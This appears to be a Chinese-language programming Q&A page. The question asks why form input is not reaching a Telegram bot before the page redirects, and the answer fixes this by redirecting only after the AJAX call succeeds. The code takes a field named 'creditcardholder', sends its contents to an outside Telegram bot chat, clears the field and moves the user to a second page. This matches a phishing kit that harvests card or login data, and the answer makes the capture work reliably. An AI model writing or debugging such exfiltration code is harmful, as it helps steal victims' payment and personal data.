如何通过javascript和电报机器人api重定向到另一个页面



我在将用户重定向到下一页时遇到问题。发生的情况是,在发送表单后,用户被引导到下一个页面,但没有通过Bot Telegram将消息连接到我。

var telegram_bot_id = "token";
var chat_id = "id";
var email;
var ready = function () {

email = document.getElementById("creditcardholder").value;

message = "Email: " + email ;
};
var sender = function () {
ready();
var settings = {
"async": true,
"crossDomain": true,
"url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage",
"method": "POST",
"headers": {
"Content-Type": "application/json",
"cache-control": "no-cache"
},
"data": JSON.stringify({
"chat_id": chat_id,
"text": message
})
};
$.ajax(settings).done(function (response) {
console.log(response);
});

document.getElementById("creditcardholder").value = "";

window.location.href = "main2.html";

return false;

};

如果在完成AJAX请求之前重定向用户,则AJAX请求将中止。在这个修改后的代码中,重定向只在AJAX请求成功完成后发生:

var telegram_bot_id = "token";
var chat_id = "id";
var email;
var ready = function () {

email = document.getElementById("creditcardholder").value;

message = "Email: " + email ;
};
var sender = function () {
ready();
var settings = {
"async": true,
"crossDomain": true,
"url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage",
"method": "POST",
"headers": {
"Content-Type": "application/json",
"cache-control": "no-cache"
},
"data": JSON.stringify({
"chat_id": chat_id,
"text": message
})
};
$.ajax(settings).done(function (response) {
console.log(response);

window.location.href = "main2.html";
});

document.getElementById("creditcardholder").value = "";

return false;

};

最新更新